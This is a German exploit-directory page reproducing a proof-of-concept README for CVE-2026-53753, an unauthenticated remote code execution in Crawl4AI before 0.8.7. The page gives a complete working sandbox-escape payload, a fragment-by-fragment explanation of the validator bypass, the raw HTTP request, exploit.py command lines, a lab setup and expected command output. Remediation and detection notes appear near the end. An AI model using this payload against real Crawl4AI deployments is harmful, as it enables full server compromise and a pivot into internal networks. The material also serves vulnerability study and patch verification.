Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-53753-Crawl4AI-RCE — CVE-2026-53753 — Crawl4AI <0.8.7 nicht authentifizierte RCE (AST-Sandbox-Escape via gi_frame.f_back). Lab + PoC, e2e verifiziert. | Kitploit
Tools/GitHubGitHub/biitts/cve-2026-53753-crawl4ai-rce
Statische AnalyseDynamische Analyse (Sandboxing)SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungPayload-Entwicklung

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Labs & Praxis
GitHubbiitts/cve-2026-53753-crawl4ai-rce

CVE-2026-53753-Crawl4AI-RCE

CVE-2026-53753 — Crawl4AI <0.8.7 nicht authentifizierte RCE (AST-Sandbox-Escape via gi_frame.f_back). Lab + PoC, e2e verifiziert.

Repository anzeigen
vor 1 MonatNoch nicht geprüft

CVE-2026-53753 — Crawl4AI Unautorisierte Remote-Code-Ausführung (AST-Sandbox-Escape)

Pre-Authentifizierungs-RCE in Crawl4AI < 0.8.7. Ein manipulatives JsonCssExtractionStrategy-Schema, das an den nicht authentifizierten POST /crawl Endpunkt gesendet wird, erreicht den Auswerter für berechnete Felder (_safe_eval_expression), umgeht dessen AST-Allow-List über Python-Frame-Objekte, erreicht die echten builtins und führt __import__('os').popen(<cmd>).read() aus – die Ausgabe des Befehls wird im gleichen Zug in der JSON-Antwort zurückgegeben.

CVECVE-2026-53753
AdvisoryGHSA-qxjp-w3pj-48m7
BetroffenCrawl4AI <= 0.8.6
Behoben0.8.7
KlasseCWE-94 (Code Injection) / Python-Sandbox-Escape
CVSS 3.19.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AuthKeine — ausgelieferte Konfiguration hat jwt_enabled: false
StatusBESTÄTIGT — End-to-End gegen das offizielle unclecode/crawl4ai:0.8.6-Image reproduziert

Inhaltsverzeichnis

  1. Ursache
  2. Aufbau des Payloads, Zeile für Zeile
  3. Warum der Frame-Walk die echten builtins erreicht
  4. Laboraufbau
  5. Ausführen des Exploits
  6. Erwartete Ausgabe
  7. Rohe HTTP-Anfrage
  8. Fehlerbehebung
  9. Auswirkungen / Abhilfe / Erkennung
  10. Validierung

Tiefergehende Analyse: siehe ANALYSIS.md für einen Knoten-für-Knoten-AST-Durchlauf, den Laufzeit-Frame-Stack, den Anfragedatenfluss und den Patch-Diff.


1. Ursache

crawl4ai/extraction_strategy.py lässt ein Extraktionsschema berechnete Felder definieren – kleine Python-Ausdrücke, die pro extrahiertem Element ausgewertet werden. Sie werden von _safe_eval_expression() ausgeführt, das versucht, den Ausdruck mit einer AST-Allow-List und reduzierten __builtins__ zu sandboxen:

root@kitploit:~
# crawl4ai/extraction_strategy.py  (v0.8.6)
for node in ast.walk(tree):
    if isinstance(node, (ast.Import, ast.ImportFrom)):
        raise ValueError("Import statements are not allowed in expressions")
    # Block dunder attribute access, e.g. __class__, __globals__
    if isinstance(node, ast.Attribute) and node.attr.startswith("_"):
        raise ValueError(f"Access to private/dunder attribute '{node.attr}' is not allowed")
    if isinstance(node, ast.Call):
        func = node.func
        if isinstance(func, ast.Name) and func.id.startswith("_"):
            raise ValueError(...)
        if isinstance(func, ast.Attribute) and func.attr.startswith("_"):
            raise ValueError(...)

safe_globals = {"__builtins__": _SAFE_EVAL_BUILTINS}   # no __import__, no eval, no open
return eval(compile(tree, "<expression>", "eval"), safe_globals, local_vars)

Der Validator ist Verweigerung-nach-Präfix: Er lehnt nur Namen ab, die mit _ beginnen (zusätzlich zu import). Diese einzelne Heuristik bildet die gesamte Sandbox – und sie hat drei Lücken, die sich zu einem vollständigen Escape kombinieren:

Das Schema erreicht diese Funktion ohne Authentifizierung: Die Docker-API liefert security.jwt_enabled: false aus, daher ist die /crawl-Token-Abhängigkeit lambda: None.

2. Aufbau des Payloads, Zeile für Zeile

Der Ausdruck für das berechnete Feld ist:

root@kitploit:~
(lambda: (
    (g := (g.gi_frame.f_back.f_back.f_back.f_builtins['__import__'](https://github.com/biitts/cve-2026-53753-crawl4ai-rce/blob/HEAD/%27os%27).popen('id').read()
           for i in [1])),
    list(g)
)[-1])()

Teil für Teil gelesen:

Da der Wert des Generators os.popen(cmd).read() ist, wird die stdout des Befehls zum Feldwert und in der /crawl-Antwort zurückgespiegelt – ein In-Band-Orakel, kein OAST erforderlich.

3. Warum der Frame-Walk die echten builtins erreicht

Während list(g) den Generator durchläuft, sieht der Call-Stack so aus:

root@kitploit:~
frame: _safe_eval_expression()      <-- echte builtins  (__import__ lebt hier)   ← f_back ×3
   └ frame: <expression> (eval)     <-- gesandboxte builtins (_SAFE_EVAL_BUILTINS)  ← f_back ×2
        └ frame: <lambda>           <-- gesandboxt                                 ← f_back ×1
             └ frame: <genexpr> g   <-- LAUFEND; g.gi_frame ist dieses Frame       ← gi_frame

g.gi_frame.f_back ist nur gefüllt, während der Generator läuft (deshalb muss der Generator sich selbst referenzieren und von list(g) angetrieben werden – ein noch nicht gestarteter Generator hat f_back is None). Das dreimalige Durchlaufen von f_back landet auf dem _safe_eval_expression-Frame, dessen f_builtins das vollständige builtins-Modul ist – aus dem __import__ per Subscript gezogen wird.

Die Frametiefe ist für diesen Codepfad stabil: f_back × 3 ist korrekt für Crawl4AI 0.8.6's _safe_eval_expression.

4. Laboraufbau

Das offizielle Image liefert die angreifbare Standardkonfiguration (keine Authentifizierung) aus:

root@kitploit:~
# Option A — docker compose (normaler Docker-Host mit Bridge-Netzwerk)
docker compose -f lab/docker-compose.yml up -d

# Option B — einfacher docker run
docker run -d --name crawl4ai-vuln -p 11235:11235 --shm-size=1g unclecode/crawl4ai:0.8.6

Warten Sie ~20 s, bis der Browser-Pool warm ist (docker logs crawl4ai-vuln → Application startup complete).

5. Ausführen des Exploits

root@kitploit:~
# Den Anfragekörper inspizieren, ohne ihn zu senden:
python3 exploit.py http://127.0.0.1:11235 -c "id" --print-payload

# Ausführen (die stdout des Befehls kommt in der Antwort zurück):
python3 exploit.py http://127.0.0.1:11235 -c "id; uname -a; cat /etc/os-release | head -1"

exploit.py verwendet nur die Python-Standardbibliothek – keine Abhängigkeiten.

6. Erwartete Ausgabe

root@kitploit:~
[*] POST http://127.0.0.1:11235/crawl  (cmd: 'id; uname -a; ...', no auth)
[*] HTTP 200
{"success":true,"results":[{ ... "extracted_content":"[
    {
        \"out\": [
            \"uid=999(appuser) gid=999(appuser) groups=999(appuser)
appuser
Linux ... x86_64 GNU/Linux
PRETTY_NAME=\"Debian GNU/Linux 12 (bookworm)\"
\"
        ]
    }
]" ...

Das Feld out enthält den live-OS-Zustand (id-Ausgabe, uname, das os-release des Containers), kein Echo der Anfrage – uid=999(appuser) ist das Dienstkonto des Containers, was die Codeausführung innerhalb des Crawl4AI-Hosts beweist. Ein eindeutiges echo <marker> wird wörtlich zurückgespiegelt, was bestätigt, dass der Befehl tatsächlich ausgeführt wurde.

7. Rohe HTTP-Anfrage

root@kitploit:~
POST /crawl HTTP/1.1
Host: 127.0.0.1:11235
Content-Type: application/json

{"urls":["raw://<html><body><div id='x'>hi</div></body></html>"],
 "crawler_config":{"type":"CrawlerRunConfig","params":{"extraction_strategy":
 {"type":"JsonCssExtractionStrategy","params":{"schema":{"name":"pwn","baseSelector":"div",
 "fields":[{"name":"out","type":"computed","expression":"<PAYLOAD FROM §2>"}]}}}}}}
  • raw://… macht die Anfrage in sich geschlossen – kein ausgehender Fetch ist nötig; der Angreifer liefert das HTML inline.
  • baseSelector: "div" muss lediglich ein Element finden, damit ein berechnetes Feld ausgewertet wird. Für ein echtes Crawl-Ziel verwenden Sie einen beliebigen Selektor, der auf die Seite passt.

8. Fehlerbehebung

9. Auswirkungen

Jeder netzwerkerreichbare Client führt in der Standardbereitstellung ohne Authentifizierung beliebige OS-Befehle auf dem Crawl4AI-Host aus – vollständige Kompromittierung des Servers und Sprungmöglichkeit in alle internen Ressourcen, die er erreichen kann.

Abhilfe

  • Upgrade auf Crawl4AI ≥ 0.8.7 (entfernt _safe_eval_expression; der expression-Schlüssel für berechnete Felder ist deaktiviert – verwenden Sie stattdessen den function-Schlüssel mit einem geprüften Python-Callable).
  • Verteidigung in der Tiefe: JWT aktivieren (jwt_enabled: true + api_token) und die Crawl4AI-API niemals unsicheren Netzwerken aussetzen.

Erkennung

Markieren Sie POST /crawl- (und /crawl/stream)-Inhalte, die gi_frame, f_back, f_builtins oder ein beliebiges computed-Feld mit einem expression-Schlüssel enthalten.

Offenlegung / Credits

  • PoC-Autor: Caio Fabrício — github.com/BiiTts
  • Die Schwachstellen-Anerkennung geht an den ursprünglichen CVE/Advisory-Melder; dieses Repository ist eine unabhängige Reproduktion für defensive und pädagogische Zwecke.
  • Nur für autorisierte Sicherheitstests.
Tool herunterladen
#LückeWarum es wichtig ist
1gi_frame, f_back, f_builtins beginnen nicht mit _Die gesamte Python-Frame/Generator-Introspektionsoberfläche ist erreichbar.
2obj['__import__'] ist ein ast.Subscript, kein ast.AttributeDer Validator prüft keine Dict-Subscript-Schlüssel, daher passiert der Dunder-Schlüssel __import__.
3Die f_back-Kette eines laufenden Generators führt zu einem äußeren Frame, dessen f_builtins die echten builtins sindUmgeht die reduzierten _SAFE_EVAL_BUILTINS zurück zu den vollständigen (__import__ etc.).
FragmentRolleWarum der Validator es erlaubt
(lambda: ... )()Erstellt einen Funktionsbereich, sodass der Walrus-gebundene Name in einer Closure-Zelle lebt.ast.Lambda wird nicht geprüft.
g := ( <expr> for i in [1])Bindet den Generator an g und der Generatorrumpf referenziert g (sich selbst).:= und Generatorausdrücke werden nicht geprüft. (Walrus ist in einem Comprehension-Iterable illegal, daher wird er stattdessen in ein Tupel-Element platziert.)
list(g)Treibt den Generator an – sodass sein Frame live ist, wenn der Rumpf ausgeführt wird.list ist in den sicheren builtins.
g.gi_frameDas Frame-Objekt des Generators.gi_frame beginnt nicht mit _.
.f_back.f_back.f_backGeht drei Frames hoch zu einem mit den echten builtins.f_back beginnt nicht mit _.
.f_builtinsDie builtins-Zuordnung dieses Frames (die echte).f_builtins beginnt nicht mit _.
['__import__']Holt __import__ aus dem builtins-Dict.Dict-Subscript – wird nie überprüft.
('os')__import__('os') → das os-Modul.Das Aufrufziel ist ein Subscript, kein Name/Attribute.
.popen('id').read()Führt den Befehl aus und gibt dessen stdout zurück.popen/read beginnen nicht mit _.
SymptomUrsache / Lösung
Connection refused auf :11235Container wärmt noch auf, oder Ihr Docker-Daemon hat kein nutzbares bridge-Netzwerk. Warten Sie auf Application startup complete; wenn die Portzuordnung nicht bindet, starten Sie den Container mit --network host.
out ist nullDer Basisselektor hat kein Element gefunden – stellen Sie sicher, dass das raw://-HTML ein <div> enthält (oder passen Sie baseSelector an).
Funktioniert auf 0.8.6, aber nicht auf 0.8.7Erwartet – 0.8.7 entfernt _safe_eval_expression und deaktiviert den expression-Schlüssel vollständig (der Fix).